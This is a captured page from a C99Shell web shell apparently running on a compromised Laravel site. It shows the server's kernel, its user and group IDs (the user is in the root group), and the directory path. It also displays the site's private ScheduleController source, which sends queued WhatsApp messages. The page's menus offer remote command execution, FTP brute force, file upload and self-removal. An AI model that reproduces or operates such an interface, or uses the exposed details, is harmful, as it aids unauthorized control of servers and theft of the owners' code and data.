!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ScheduleController.php (2.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Events\SendMail;
use 
App\Models\Contact;
use 
App\Models\Message;
use 
App\Models\Number;
use 
App\Models\SmsQueue;
use 
App\Models\MessageLog;
use 
App\SmsProvider\SendSMS;
use 
Illuminate\Support\Facades\Artisan;
use 
Illuminate\Support\Facades\Log;
use 
Illuminate\Support\Carbon;
use 
Illuminate\Support\Facades\Http;

class 
ScheduleController extends Controller
{
    public function 
processEmail(){
        
Artisan::call("queue:work",['--stop-when-empty'=>true]);
    }

    public function 
checkSchedule(){
        
$totalNewQueueCount=10;
        
$messages SmsQueue::where(['schedule_completed' => 'no'])
            ->
whereNotNull('schedule_datetime')
            ->
whereNull('delivered_at')
            ->
where('schedule_datetime''<'now())
            ->
where('status','running')
            ->
where('send_type','whatsapp')
            ->
orderBy('schedule_datetime')
            ->
limit($totalNewQueueCount)
            ->
get();

        
$queueIds=[];
        foreach (
$messages as $message) {
            
$queueIds[]=$message->id;
        }
        if(!
$queueIds){
            
Log::info("No queue found");
            return 
0;
        }

        
SmsQueue::whereIn('id'$queueIds)->update(['status'=>'fetched','schedule_completed'=>'yes']);

        
$failedQueueIds=[];
        foreach (
$messages as $message) {
            
$from=$message->device_unique_id;
            
$to=$message->to;
            
$body=$message->body;

            try{
                
$response=Http::post(config('pico.wa_server_host').'/send',[
                    
'from'=>$from,
                    
'to'=>$to,
                    
'body'=>$body,
                ]);
                if(isset(
$response['status']) && $response['status']=='failed'){
                    
$failedQueueIds[]=$message->id;
                }

                if(isset(
$response['data']) && isset($response['data']['key']) && isset($response['data']['key']['id'])){
                    
$fromMe=$response['data']['key']['fromMe'];
                    
//Log::info($fromMe);
                    
if($fromMe=='true'){
                        
$id=$response['data']['key']['id'];
                        
//TODO:: Need to move in a queue from this loop
                        
SmsQueue::where('id',$message->id)->update(['response_id'=>$id]);
                       
// MessageLog::where('unique_reference',$message->unique_reference)->update(['queue_id'=>$message->id,'response_id'=>$id]);
                    
}

                }

            }catch(
\Exception $ex){
                
Log::error($ex->getMessage());
            }

        }

        if(
$failedQueueIds){
            
SmsQueue::whereIn('id',$failedQueueIds)->update(['status'=>'failed']);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--